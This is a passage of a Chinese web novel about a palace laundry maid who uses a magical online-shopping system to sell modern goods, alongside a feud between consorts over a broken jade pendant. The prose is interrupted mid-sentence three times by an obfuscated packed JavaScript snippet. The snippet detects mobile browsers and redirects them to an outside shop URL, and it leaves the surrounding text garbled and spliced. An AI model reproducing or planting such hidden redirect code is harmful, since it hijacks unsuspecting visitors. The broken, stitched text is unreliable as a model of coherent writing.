姹紫和嫣红吃完晚饭正站在院子里说话,就看见这边一个拎着桶的身影一闪而过。 “站住,在那鬼鬼祟祟干什么?!”姹紫喊住柳宛东。 柳宛东拎着两个桶,站在院子西侧,表情慌张地把其中一个桶往后藏。可她身子细弱,哪里能藏住一个桶呢? “放下!” “咚”地一声,柳宛东放下了两个桶,其中一个桶比另一个空桶要更沉。 “你这桶里装的是什么?”说话间,姹紫和嫣红已经来到柳宛东面前了,嫣红伸手把桶上的盖子掀开,扑面而来的是一种热乎奇异的香味! 好香! “这……是哪里来的?”嫣红忍不住咽着口水,她刚才吃了个红薯,差点没被噎死,现在闻到这样的香气忍不住往里张望,深红色的汤料,里面有白菜,玉米,绿色的豆子,好像还有肉粒! 天呐,这是怎样一锅好饭,闻起来实在是让人欲罢不能! “二位姐姐,这是我受妙凌姐姐之托,专让送膳宫女带来的‘一锅烩’,今天好不容易抢到的。”柳宛东蹲下身,合起木盖子。 宫里皇上等贵人每次吃饭都不会超过三口,大量的肉菜就被剩下了,于是就有人将这些剩下的多重荤菜重新加点白菜之类的再卖到宫外头,简称“一锅烩”。 这样一碗只卖10文钱。经济实惠,是很多老百姓都会购买的食物。 有的时候,有门路的宫女还会把这种“一锅烩”卖给宫人。 “等等!”姹紫站在原地,她的目光无法再从那“一锅烩”上卸下来,“一锅烩”有很多种,但是今天这种味道,她从小到大第一次闻见。 这诱人的香味让她四肢百骸全都在叫嚣着同一句话:“我要吃我要吃!” “宛东啊,两位姐姐平时待你如何?”姹紫露出柔和的微笑。 “经常打骂我还让我做重活,一点都不好。”柳宛东露出天然无害的甜笑。 嫣红推了姹紫一把,她凑过来搂着柳宛东的肩膀,“以后姐姐们肯定会对你好的,这次你就回了妙凌姐姐,把这‘一锅烩’让给我吧。” “那可不行,这是我好不容易在送膳宫女那说尽好话得来的,还花了妙凌领事不少钱呢。” “多少钱,我俩补给你就是了。”姹紫说道。 “可是,这次再不送‘一锅烩’过去,我又要被罚去扫院子了。”柳宛东垂着头。 “下次你扫院子的活计就交给我们两个,好妹妹了。” “那……行吧,一共50文。” “50文?”这些也就能吃两碗,50文太贵了吧,要说她们一个月的月例也才不到700文钱。 姹紫和嫣红脚一跺就回屋取了钱来,柳宛东刚把桶递给她们,她们就一人一碗快速吃了起来! 微微咸的汤汁,配上白菜,和里面不知道什么的蔬菜碎,简直太好吃了,吃完整个身子都暖和了,两个人吃得相当满意。 【恭喜宿主收入50文(50块)。】 【当前支线1级任务已完成(180/150),支线2级任务开启(30/500)】 【奖励工作用具一套,请宿主到淘宝界面挑选。】 看着琳琅满目的淘宝界面,她点进了一个商品链接。 【每日签到,可随机掉落惊喜宝箱,请宿主保持活跃哦。】 柳宛东点击每日签到界面,那界面上的圆形数字1突然变大,然后蹦出了一个宝箱——您获得再次购买已下单商品的机会。 欧气!柳宛东高兴坏了。这日子也没那么苦嘛! 这个“再下单”意味着可以在原来的购买链接里下单,不过规格可以有变化。 之前买了炉子和方便面,淘宝账户里还剩3.25元。柳宛东现在手里有石公公给的10枚大钱,和姹紫嫣红给的50枚铜币,她把这些钱全都充进淘宝,账户余额变成了153.25元。 方便面一定是有市场的,而且炉火又是必须的,她直接用惊喜宝箱里的“再下单”机会又买了一个更大的不锈钢炉子,10斤无烟煤炭,以及1箱方便面。 这回她选择是“1倍半”方便面,一包里有一包半的面饼,量大,虽然和红烧牛肉面比,酱包的味道有变化,但是对于吃不饱饭的宫人来说,份量比味道更重要。 1箱方便面43.9元,每箱里面是21袋,包含排骨、藤椒、红烧和酸辣四种味道。 大炉子42.8元,大约高30cm,内径更大,能放更多炭,也能烧更多的水。 同时为了让她的洗衣工作能够更好地完成,她还买了一个加大加宽搓衣板和一袋10斤装的薰衣草香洗衣粉。 买完这些她的账户就剩下20.46元了。 将钱花得七七八八了,她点数了一下自己手中的方便面,刚才在辉郎官那边吃了2包,现在还剩下3包,和方便面一起来的还有5个蛋黄派。 这蛋黄派是赠品还是什么?柳宛东没看懂,不过正好解决了她的燃眉之急。 她将这些蛋黄派的包装全都拆开,连带着快递箱子以及空的方便面袋全都放在一起,点击系统的“回收”按键,瞬间这些不属于这个时代的“废品”就消失不见了。 * 每日的浣洗工作相当辛苦,晚饭过后还是要继续去洗衣服。 柳宛东按照等级先把送来的衣服登记好后,再按着质地分类,相对粗糙的麻布衣服单独放在一堆,比较精细的丝绸放在另一堆。 所有的衣服在洗之前都要进行预处理。 预处理就是把衣物全都放到室内的几个水缸里浸泡。水缸里会提前放上草木灰水,草木灰水有松动污渍的作用,方便一会清洗。 浸泡完毕后,就是清洗环节了,需要将衣服铺在漂洗池周围的石砧(光滑的石板)上,然后手持一根木头做的棒槌,不停地捶打,将衣服里的污渍打出来后,再丢进漂洗池进行漂洗。 草木灰碱性大,实在太伤手,柳宛东的手本来就有冻疮,伤处一碰到草木灰水就钻心地痛。 她实在盼望着系统奖励的工具快递能够快点来。 当晚,熄灯后。 采琴躺在榻上正要睡了,身边的宛东捧捧她,悄悄递给她一块软绵绵的东西。 “这是什么?” “嘘,小点声。”柳宛东躺在采琴身边,她们睡的是大通铺,动静太大会把别人都吵起来的。 “点心,吃吧。” 点心?真稀奇了,点心这种东西很少见的。 采琴结果柳宛东递过来的东西,一种淡淡的香甜氤氲在鼻尖,手中的触感绵软,她睁着眼睛在漆黑的屋子里看了半天,模糊看到这是一块长圆形的糕点,上头鼓鼓的,像是长条馒头。 她轻轻掰了一小块,比馒头还要好掰开,没有韧劲,轻轻一掰就开了。 她放进嘴里一尝,好甜啊!她们平日里有块冰糖都要留到过年吃,更别说现在不年不节的,能吃上这么甜的点心了。 采琴立马把这点心递回给柳宛东,“你吃。”她和宛东几乎是同一时间进宫的,自小关系就要好,有什么好吃的都是这样你一口我一口分着吃的。 “我有。”柳宛东扬了扬手里的蛋黄派,采琴看到了,她手里确实还有一个。 她放下心来,大口咬了一口。里面有什么黏糊糊的东西流出来了。她抹了抹嘴巴,是更甜的糖浆,配合着松软的糕体,简直甜进她心里去了! 要是每天都能吃到这么好吃的点心该多好啊,可能因为吃的甜,这一晚采琴梦里都是甜的。 * “你拿的什么啊?”这天浣衣的时候,同在浣洗的一个小宫女看着拿着一块木板走过来洗衣服的柳宛东问。 这一问就吸引了众人的目光,围坐在漂洗池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911259|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边不断捶打衣服的几个宫女全都聚集过来,仔细端详柳宛东手里的那块搓衣板。 “木板,但是并不光滑,上面全是类似水波纹的纹路,一道一道的?”一个小宫女得出结论。 “没错,这个就是我洗衣服用的工具,能够把衣服洗得更好更快!我给它起了个名字,就叫‘搓衣板’!” 柳宛东将搓衣板斜靠在漂洗池的外面,随手拿起一件粗布麻衣,将衣服平铺,让腰背部的大块布料落在搓衣板上,拎起一只袖子叠到搓衣板的布料上开始揉搓,轻轻搓了一会,脏污就顺着水流出来了,袖口、领口这些容易脏污的地方都被洗干净,比一遍一遍地用木棒捶打快不少。 “真有你的!”几个小宫女一看这洗衣方法简单快捷,全都看着那块洗衣板,就跟盯宝贝似的盯着。 “还有更厉害的呢。”柳宛东又快速揉搓了几下衣服,衣服上面出现了白色的泡沫。她买的洗衣粉是多泡沫易漂洗的惠民包装,这可是草木灰达不到的效果。 “这么多沫是什么?你用了皂荚水?”采琴好奇地摸了摸衣服上的白沫。 皂荚水好用,洗出来的衣服更柔软,而且在浆洗的过程中可以看到微弱的泡沫和着泥水一起洗出,往年都是这么用的。 但今年大旱,又是冷冬,国库吃紧,浣衣局的皂荚水就降级为了草木灰,草木灰伤手也没什么沫,她洗的时候老感觉洗不干净,要使劲捶打很多遍。 她将那白沫放到鼻尖下闻,不是淡淡的皂荚香,是一种更加馥郁的花香,让人觉得温暖清新的味道。 她再靠近柳宛东浣洗的衣物,浓烈的香味扑面而来。 “好闻!”她不可置信。这世界上会有一种比皂荚水洗得更干净同时还带有花香的洗料吗? “这是洗衣粉。”柳宛东从袖子里掏出来一个布袋,里面是纯白色的颗粒,偶尔夹杂着一些深蓝色的沙。 “这是我专门定做的,你们谁想要,10个大钱一套。”柳宛东站起来,对着大家说。 “我想要洗衣粉,搓衣板也想要!” “我也要……但是10个大钱有点贵了,我就要搓衣板……” 几个宫女叽叽喳喳地说起来。 “你们在干什么?”妙凌走到院子里。 “禀告领事,宛东发现了能够快速洗衣服的工具,我们都很想要呢!” 妙凌踱步过来,她眼睛不太好,总是在灯下缝衣服把眼睛都看坏了。 她看着柳宛东手里的东西,只见那木头板子又长又宽,上面全是棱,敞口的布袋中盛着一些白色的粗砂,“砂子不行!会把衣服磨坏!” “不是砂子!遇水就化了!”柳宛东解释道。 “胡说八道,除了糖盐,世上哪有有遇水就化的东西?”妙凌语气严厉,“浣衣局的规定就是规定,泡衣服用草木灰,洗衣服用板子拍,漂衣服用池水漂三回。都记清楚了?不得违规!” 几个叽叽喳喳的小宫女一听,全都低着头沉默不语。 “这些东西不许再出现!”妙凌留下一句话便回去了。 她现在已经是领事宫女,平日里主要在屋子里登记衣服的来去、盘点库存和记账,根本体会不到柳宛东她们这些勤恳工作的底层宫女的辛劳。 大冬天的,用冷水洗衣服多么痛苦!而且还要受草木灰的刺激,这也就算了,用手搓洗和用板子敲洗是柳宛东最不能忍受的。 太原始太低效太费手了啊! 她手上的血痂和冻疮一层叠一层,根本好不了。 这么下去肯定不行,可领事的话又不得不听,她必须得想个法子。 缓缓将洗衣粉和搓衣板收好,她老实地继续洗衣服。 当天夜里,趁着众人睡熟,柳宛东静悄悄起了床,从水缸里杳了一瓢水含在嘴里,又从土墙外头掰了块土坯揣在袖子里,无声无息地摸上东厢房的房顶。 5. 第五章 浣衣局除了洗衣服就是晾衣服。晴天衣服可以晾在院子的麻绳和竹竿上,雨天雪天可就不能挂在外面了。另外,有一些贵重的衣服在晴天的傍晚也要及时收到房间里,以防被飞沙走石伤到。 东厢房是整个浣衣局最好的房子,房顶上的瓦片也结实,所以绸缎蚕丝的衣服被衾都收晾在这里。 爬上房顶,柳宛东掀起一块瓦,黑暗中眼睛适应了一会才看见底下厢房中的情景,这件屋子里有许多木架和挂绳,每个上面都晾着好多衣服,一件一件全都紧密地挨在一起。 她看准了最中间的一个木架子,这架子上面不像其他挂架那么拥挤,只挂了一套衣服,左边是一件厚实的淡蓝色的夹棉交领襦裙,右边是同样花色的一件毛领披风。 肯定是哪个高阶宫女或者女官的衣服,不用想肯定是这屋子里最贵的衣服。 她瞅准位置,掀起木架子正上方的瓦片揣进怀里,然后把袖子里的土坯拿出来放在手里,将口中的水也吐到手里,很快她手心里土水混合成一捧泥水。 松开指缝,任这些泥水缓缓滴落在襦裙和披风上。 待泥水浸透了衣服,她拿出怀里的瓦片想要直接扔到地上,又担心声音太大,便再揣进怀里。 下房顶后,她把瓦片搁在浣衣局的院子里,用脚狠狠地踩了一下,那瓦片悄声碎了。 她洗好手后钻回了被窝。 * 这一天早上,妙凌晨起洗漱过后走出房间。 呼啸的北风吹得她踉跄了一步。 她抬头看了看天,天空是湛蓝色,没有一丝云彩,天气响晴。 这种天最冷、风最猛了,看着天气好,实际上洗了衣服两天都干不了。 她关严实木门,顶着风走到了院子的晾衣架边上。 摸摸衣服,都干的差不多了,今天就能送回各宫了。再走到东厢房,她点数着洗好的衣服,到正中间的时候,愣住了。 原已洗干净的吴司正的蓝色珠绣襦裙和兔毛披风上面脏污一片。 “谁弄脏了司正的衣服?” 她跑到院子里怒吼,正在干活的小宫女们全都面面相觑。 她正要发火,突然脚踢到了一块碎了的瓦片。 这正是厢房上的灰瓦。再进屋抬头一看,对应放置司正衣服的房顶上,缺了一块瓦。 “真是邪风把泥水吹下来了,”她的气消了一半,喃喃道,“昨天怎么没听见瓦片碎裂的动静。” “妙凌掌事,奴家来取吴司正的衣服。”一个宫女就这么及时地站在眼前。 妙凌头开始痛,她要如何交代? 吴司正送来的时候特别交代要今天还的! 重新洗的话要浸泡要晾干,肯定不能按时还,毕竟浸泡就要一夜,晾干也至少要一夜。 怎么就这么巧,衣服就脏污了! “司正的衣服还没好,不如您先回去,到时候我亲自去送。”只能及时补救了,妙凌心想。 “请问到哪一步了,如果还没干的话,可以送到司正房间用炭盆烘干的,”小宫女和气地笑着,“司正特别交代这衣服是明日给宫人讲学要穿的,不能有误。” “这……这……”妙凌的心突突地跳了起来,该怎么办呢,她真的交不上。 柳宛东走过来在她耳边低语两句,她木然地点点头。 “那就请先在厅中休息片刻,稍后奴家取了衣服包好给姐姐。”柳宛东对取衣的宫女道。 待那宫女进屋了,妙凌才问柳宛东,“你说一会就能洗干净?” 柳宛东从池边取出搓衣板和洗衣粉,妙凌的脸色沉了下来,“您先不要生气,待我浆洗一番,如果达不到效果再罚我也行。” 见妙凌不说话,柳宛东知道她是允许了,就将披风放到搓衣板上,在衣领、袖口以及衣襟这几处沾了泥水的地方放上白色的洗衣粉。 洗衣粉是颗粒状的,一碰见水就化开了,她快速在搓衣板上揉搓,那板子结实耐用,上面的木纹能帮助搓出脏东西,洗了两下衣服上竟然起了白色的沫。 那些脏污几乎没用什么力气就被带走了,洗过衣服的清水很快就变得混浊。 妙凌惊讶于那白色颗粒真的在水中去无踪,看到领子变得崭新,更是赞叹。 “洗得真干净!”妙凌左看右看,这毛茸茸的披风领子就跟新作的一样洁白,以前她用草木灰蹲着洗半个时辰也不见得能洗出这样的效果。 她摸了摸这件披风,草木灰是生涩的,洗衣粉比草木灰滑溜多了,洗过的衣服也更加柔软。 柳宛东洗完一件,放进漂洗池一漂,泡沫轻松就化在了池水里,这原本灰蓝的披风一下就显出了鲜嫩的蓝色。 原来这衣服竟然是嫩蓝色!妙凌以前真没看出来。 漂洗一点都不费劲,只是半柱香的功夫,两件衣服就都洗干净了,上面的泥水似乎从未出现过。 “真行!”平日里总是没有表情的妙凌露出笑容,她甚至激动地抱了抱柳宛东。 【主线任务[升职]已开启,当前品阶:0,目标品阶:预备女官。】 【达成成就——初次被认可,进度达成20%,掉落1次下单机会,下单物品只可应用于主线任务。】 赏钱是在三天后来的。吴司正特地申请了一笔银钱奖励浣衣局,她穿着这件衣服去讲学,所到之处总有淡淡的香味,宫人们全都围着她问,可出尽了风头。 妙凌用这笔钱打了特地申请从柳宛东处购买了多套搓衣板和洗衣粉。她确实看出这两样东西的好处,自然是要给浣衣局提升一下效率。 洗衣工具就是主线任务,柳宛东用“初次被认可”的成就奖励买了更多的洗衣套装。 洗衣板和洗衣粉很快就到货了,柳宛东开的价格并不高,一个60cm长,20cm宽的搓衣板价格是16.69元,一袋10斤重的洗衣粉是29.4元。 柳宛东卖了10个搓衣板,和10袋10斤重的洗衣粉,一共收了浣衣局800钱。自己也就挣300多钱。 【当前支线[挣钱]2级任务已完成(830/500),支线[挣钱]3级任务开启(330/1000)】 【奖励下单日化用品的机会1次。】 【系统已重新解冻,十日内可下单次数:1】 账户余额变成了359.56元,眼见着天气越来越冷,她又开始在淘宝上下单了。 * 姹紫和嫣红两个人按照之前的约定,分担了宛东打扫院子的活计。有了树干挑水,不算辛苦。两人刚干完准备休息会,一点冰冷的东西扑面而来。 姹紫定睛一看,冷风中竟然夹杂着一点雪花!今年的雪来得也太早了一些,两个人赶紧快步往寝殿大堂走。 没走几步,雪越下越大,两人的眼睛几乎都被这鹅毛般的大雪迷住了,赶忙进了大堂关上门。 姹紫抖了抖身上的雪花,抬起头却发现一群宫女全都围在一起。 一种熟悉的香味迎面扑来。 “一锅烩?”她和嫣红两个人面面相觑,前天她们刚吃过,今天就又有了? 越走近人群就越能感觉到温暖。柳宛东正在往每个人的碗里盛面条,“采琴,这是你的,翠玉,这是你的……” 再看柳宛东身前是一口大的陶锅,锅里正是“一锅烩”。不过今天的和那天吃的又有不同,里面除了红汤和白菜,还多了许多面条。锅下面坐着一个约莫半个手臂那么高的泥炉子,温度正是从这里传出来的。 整个大厅温暖异常,香气四溢,平日里用来送饭的的两个桶里孤零零地呆站在门口,一个桶里的菜被倒出来放进锅里了,另一个装馍的桶没人动,里面的馍全都整齐地放在桶里。 原来一碗都要抢的“一锅烩”,现在突然变得这么充足,而且还是现场制作? “多……多少钱一碗啊。”嫣红有点呆愣地问一个大口吃面条的宫女。 “不要钱啊。这是宛东好心给大家分的。你看这泥炉子,还是她自己做的呢,手可巧了!”翠玉将面条吹凉,夹了一大口吃进嘴里,露出畅快的表情。然后她扒开门口站着的姹紫和嫣红,从桶里捡了一块馍,掰碎了放进汤里吃。 “不要钱?!”嫣红呆住了,那当时宛东收她们两个人50个铜板算怎么回事? “宛东,你敢耍我们?!”嫣红撸起袖子叉起腰就要开启骂架模式。 “那可是二位姐姐硬拽着我买的,怎么能说是我耍弄二位呢。”柳宛东正色道。 “二位姐姐快来吃面条啊,扫院子辛苦了,我给你们留着哪。”柳宛东冲着她们两个微微一笑。 嫣红还要说什么,姹紫拽了她一把,两个人拿着碗也接了面条。 嫣红还是气不过,她接过碗,吃到里面细细的黄色面条,那种舒爽的味道让她的气瞬间消掉一半。 “以后呢,我的炉子可以免费用,但是因为炉子是特制的,里面只能烧我提供的这种无烟炭,”柳宛东指了指脚边还没有用的一盆黑色的炭块,“这是要收费的,10个铜板2斤。买2斤送1盒火柴。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911260|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “面饼也要收费,5个铜板1块,带调料。” 看屋中没有人说话,她知道,这是大家默认了这个价格,毕竟现在无人能够提供这种立马能够点燃的燃料,更没有人能够提供这种香喷喷的面条。 “你这样私自贩卖是不合宫规的!我要告诉领事!”姹紫的声音划破了平静。 “妙凌姐姐,妙凌姐姐,”姹紫小跑着跑去了领事的屋子。 不一会,妙凌就进来了。 “姹紫,你说谁在私贩?”妙凌的声音一出,整个大堂更是肃静。 “就是她!”姹紫指着柳宛东。 “所以你买了?”妙凌看着桌子上姹紫吃剩面条的碗。 “……”姹紫被噎住,说不出话来。 “我们做下人的,一年到头吃点好的用点好的不容易,你要是告发,可谁都得不了好。”妙凌盯着姹紫的眼睛,姹紫被盯得心虚低头。 妙凌的语气缓和下来,“况且宫规是说不让私贩宫内外物品,可这泥炉、这面饼,是宛东自制的,既不是从宫里头拿的,也不是从宫外买的,说不上是犯了宫规啊。” “就是就是,你想要你就花钱买呗,再到处嚷嚷就没你的份。”采琴生气地说。 “是,奴婢谨遵教诲。”姹紫低头认错。 一群人兴高采烈地在屋子里头吃了面条和馍,柳宛东又告诉大家火柴盒炉子的使用方法,说完后她特别提醒:“烧炭的时候,屋子里要留缝,这大家知道吧?” “为啥要留缝?”众人全都好奇。 得,古人果然不知道封闭环境里煤炭燃烧容易发生一氧化碳中毒的事情,古代这种事少见,或许是因为门窗的密闭性不好,即便是关紧关严也还是会有缝隙流通空气,反而间接保护了烧炭人的安全吧。 怎么解释这个科学原理呢。 “因为这些炭啊是从树木上燃烧来的,每烧一次,灶火爷都会心痛一次,所以我们烧的时候千万不能只管自己烧,要让这树木的灵气从门窗外走,这样灶火爷才不会责罚大家,才能让大家在新的一年吃饱饭!” 宫女宛东对于神啊鬼啊的了解并不多,仅限于观音、土地公和灶火爷。她思索半天,强编了个故事。 “好,我们肯定要留窗!” 吃过饭,雪也停了,大家全都要去院子里扫雪。 天气真冷。每个人都是扫一会雪就马上跑进屋子里,在泥炉子旁边烤烤火,以往每年深冬的时候都会给每个院子发放炭例,今年的雪下得太早,炭还没下来,雪就先来了。 幸好有宛东的泥炉子和无烟炭,大家不至于被冻僵。 只是屋子这样温暖,倒显得外面的天气更冷了,每个人出去都要鼓足很大的勇气。 轮到柳宛东出去的时候,她总是能够在院子里扫很久的雪,回来的时候身上也没有被冻得冰冷,双手还是热乎的。 采琴用自己烤过火的温热的手握住宛东的手,她惊讶地发现,宛东在外头这么久,手竟然还是热乎的! “你今年怎么这么耐冻?” “我有这个!” 柳宛东撩起自己的衣服,她的宮服里,在后背和腰部的位置贴了两块长方形的白色东西。 采琴一摸,那白色长块的物体触感竟然是热的,而且是源源不断地在发热,风都吹不凉,更神奇的是,它粘在衣服上非常牢固,怎么行走都不掉。 “这是什么?”采琴将手放在暖宝宝上。 “这呀,是暖宝宝,没汤婆子那么多水,但是也很热。”柳宛东解释道,她这样一说,几乎厅内的所有人全都过来触摸着暖宝宝,连连称赞。 “我还有呢,1铜板1个,10铜板12个,谁要?” “我要,我要!” 之前大家用搓衣板和洗衣粉浣衣,确实简单方便,所以对于柳宛东的信任与日俱增,她说什么,大家都会积极回应。 柳宛东一共买了60个暖宝宝,用了2个,剩下的58个很快就卖完了。暖宝宝是买30片送30片的片的艾草暖宝宝,共计33.8元。这样折合下来每一片进价是5毛钱多,利润也就是4毛多。 如果买更贵,比如2个铜板一贴,肯定依然能卖出去,但是柳宛东不打算卖太贵,冬天的热源对于谁来说都是珍贵而必需的,平日里干的多吃的少穿不暖,活不下去自我了断的宫人不在少数。 她希望这些暖宝宝能够带给古代打工人更多的温暖和希望。 “叮咚,物流消息,您购买的‘云南白药特效冻疮膏’到了。” 6. 第六章 聂如良正在流华宫的大殿上喝茶,两个太监正要把殿外的盆栽搬进殿里,他喝了口热茶,伸出手看了看自己的手背,骨节分明的的手上,小拇指侧边处又开始泛红了。 冻疮又复发了。 刚入宫那会,他还是位阶最低的郎官,那时候没热水,冬天洗脸全是用冷水,冻疮就是在那时候得的。几乎每年都会复发,这两年升位分了,穿的也暖了,冻疮发作的频率低了。 只不过今年天气冷,冻疮怕冷,一冷就会再复发。 伤处很痒很痒,他总想挠,越挠皮就会破,破了就会流脓水,脓水流到的地方会有新冻疮,如此一来,恶性循环。 用手搓了半天伤处,还是不解痒。他记得门外搬盆栽的那两个小太监手上的冻疮更严重,真不知道这天气那些下人怎么过。 “搬完就回屋歇着吧。”聂如良发话了。 殿下的两个小太监高兴地举起双手行礼,“是,雅贵君。” 他们的手一闪而过,那上面并没有之前看起来非常严重的冻疮,反而是光滑平整的。 这怎么可能,那两个太监手上的冻疮他是见过的,很严重,一层叠一层,不变得更严重就万幸了,怎么可能一下子就好了。 聂如良认为自己看错了。他甩了甩头。 冬天不能赏花游玩,皇上这几天忙于政务,谁也不见,真是一点乐子都没有。 “现在起驾,去良宫。”聂如良起身披上披风,良宫好啊良宫妙,良宫还有个老朋友该不会被冻得吱哇乱叫吧。 * 谢平章正在良宫里喝热水,有了宛东的小炉子,这个冬天好过多了。 “石大头,把本君的冻疮膏拿来。” 谢平章的姐姐谢平威是戍守边疆的显赫大将军,家里不缺吃穿。他从小锦衣玉食,春夏秋冬都是用温水洗脸洗手,在来良宫之前双手保养得非常好,细嫩光滑。 奈何来了良宫,碰了凉水,手上就开始泛红,石万心疼得不得了,就去宛东哪里买了一瓶冻疮膏,据说抹在手上有奇效。 他也不知道这药膏效果好在哪,毕竟他的手没疼没痒的,权当护手用了。 这冻疮膏的味道是淡淡的花香,他很喜欢闻。 刚抹好手,平静的院子外面响起一道通传:“雅贵君驾到。” “聂如良?他来干什么?”想也不用想,肯定是来耀武扬威的。 聂如良的轿辇被抬进院子里,妙凌带着一众宫女全都磕头行礼。 “起来吧。”聂如良根本不看她们,她穿过院子,往东侧的另一个单独小院走去。这才是谢平章的住处。 被打入良宫的侍修们是不能私自出院的,只好他主动去见了。 一把推开门,谢平章和石万两个人正站在屋子里,见他来了,规矩行礼:“雅贵君好。” “过得怎么样啊,辉郎~官~”聂如良刻意把最后“郎官”两个字咬得很重,他就是想要谢平章时时刻刻都能记住他已经从贵君被贬为郎官的事实。 “甚好。”谢平章语气和煦。 “我以为你每天大吵大闹着要找姐姐呢,没想到啊,你还挺能忍的呢。”说是良宫,其实只是一间房,这房间里的构造一览无余,房间里只一副木头桌椅,一个榻,一个柜子、一口水缸和一个破泥桶。 拉开一把椅子,聂如良坐了下来,这么简陋的房间,谢平章哪里受得了,硬撑罢了,“平章,你我原本是好兄弟,我今日看望你,你怎么看起来并不开心呀。” “好兄弟?口头上说好兄弟心连心,背地里不择手段争宠的‘好兄弟’?”谢平章皱眉。 “我本来准备了冬衣和炭火想送与你,没想到弟弟这里并不欢迎我,那就算了。” 谢平章翻了个白眼,聂如良来送冬衣?怎么可能,他巴不得自己冻死在良宫。 聂如良坐了一会,总觉得哪里不太对劲,说不出哪里很怪,就是感觉谢平章看上去并不凄惨,人在良宫,不应该愁眉苦脸,身形瑟缩吗,可他好像很悠闲似的。 木头板凳上没有锦垫,实在太硬,聂如良站起身,“对了,我呢,只是想来告诉你一个消息,最近边外又在打仗,你的姐姐已经十余天没有音讯了哦。” “朝廷重臣岂容你胡言乱语!”谢平章被气得不轻,他伸手指着聂如良。 “休得对贵君无礼!”聂如良身边的大太监厉声道。 “没关系……”聂如良就是想来刺激谢平章的,可话说到一半,停住了。他看到了谢平章的手,那是一双白皙的、柔滑的手,即便在这样寒冷的冬天,即便被打入良宫,他的手还是那么好。 对比之下……聂如良脸色微变,他慢慢将自己的手缩回衣服里,原本他家里就是小官,比不得谢平章家里,可现在天气这么冷,为什么谢平章的手还是如此细滑? 难道真是天生丽质?某种酸意直冲心头,他目光停留在谢平章腰间的玉佩上。 那是一块上好的青玉,有半个手掌那么大,上面刻着镂空的花纹,那是皇上赏赐给他的。 聂如良一步一步地朝着谢平章走过去,谢平章站在原地,见他离自己越来越近,不知他葫芦里卖得什么药,便向后躲闪。 就在此时,聂如良一把拽过他腰间的腰带,谢平章慌忙往后一退,“啪!”腰带被扯散,腰间的玉佩掉在地上,摔成了两半。 “你!”谢平章气得发抖,原来聂如良这个绿茶是冲着这御赐的玉佩来的。 “没有准许,为何退后,失仪可是要被罚的!不过,看在你我过去情谊的份上,我就饶了你这一次!摆驾,回宫!” 聂如良慌张地出门,他原本是想扯下玉佩讽刺谢平章几句,没想真的把御赐的玉佩摔坏,但现在事情好似一发不可收拾。 损坏了御赐的东西可是重罪。 他重新坐上轿辇,走出浣衣局时,一众宫女依然行礼,他的目光轻轻扫过,这些宫女的手也是白嫩嫩的,几乎没有什么冻疮。 对了,聂如良突然想明白了刚才的怪异之处,就是这良宫一点不冷。 甚至比他的宫里还要暖。 * 柳宛东再去良宫送饭的时候顺便还带了谢平章之前订购的蛋黄派,不过今天谢平章没有往日那般热情,石万也接了饭就进屋了,氛围相当压抑。 想必应当是被昨日雅贵君和辉郎官在良宫发生争执一事影响了心情。 石万急得团团转,这么大的事情肯定会传出去的。他将柳宛东拉到一边,想探探口风。 “现在外头传得沸沸扬扬的,雅贵君跑到皇上面前去哭,说辉郎官冲撞了他,还生气摔了皇上御赐的圣物。” “聂如良这个贱人,我就知道他会恶人先告状,看我来了良宫没办法出去,就颠倒黑白!”谢平章的声音从屋中传出。 从昨天到现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通传过后,微微佝偻的余树林带着两个小太监推开门,辉郎官和石万正站在屋子中间,微笑向他问好。 “余公公,今天是什么风把您吹来了?”谢平章率先开口。 谢平章心里很清楚,余树林早就是聂如良的人了,本来专职负责检修玉饰的不应该是他,在这当口叫他一个负责金银饰品的来检查玉饰,想来聂如良安插人手也是费了一番功夫的。 “哎呦,辉郎官哪里的话,奴才奉命前来检修玉饰,烦请您将手中饰品拿出吧!” “本郎官离开碧霄宫之时,几乎未带什么金银首饰,并无需要检修的饰品,公公请回吧!” 余树林盯着聂如良的腰部,平日里谢平章将皇上赏赐给他的玉佩当宝贝,走到哪都在腰间坠着,现在一看,腰间空空如也。 怕不是无法再佩戴了吧。 “辉郎官,我就直说了,我此次来就是来检查皇上御赐给您的青玉司南玉佩的。” “余公公什么时候也负责起玉饰了?” “上头有令,不得不从啊。请出示吧,辉郎官。”余公公态度强硬,见谢平章不语,他心里已经有数,又道:“如果郎官保存不当,直说便可,咱家可以帮您想一个好的理由,从轻发落。” 7. 第七章 谢平章嗤笑一声。他示意石万,石万便从屋头的木柜子里拿出一个木制锦盒。 虽然是正午,但屋内灯光比较暗,余公公看不真切,只见石万将锦盒放在木桌上,盖子打开,盒中放了一个方形的玉佩。 是御赐的那块司南玉佩,不假。 只是他还没上前仔细端详,石万就挡在他前头,不让他靠近。 “我要上前查看,看是否有损。”余公公着急地走上前两步。 “大胆余树林!竟敢污蔑圣上御赐之物有损!”谢平章坐在桌子旁,语气严厉。 “奴才不敢,只是公务在身,务必仔细看过……”余树林被这突如其来的斥责吓了一跳,但他马上冷静下来。 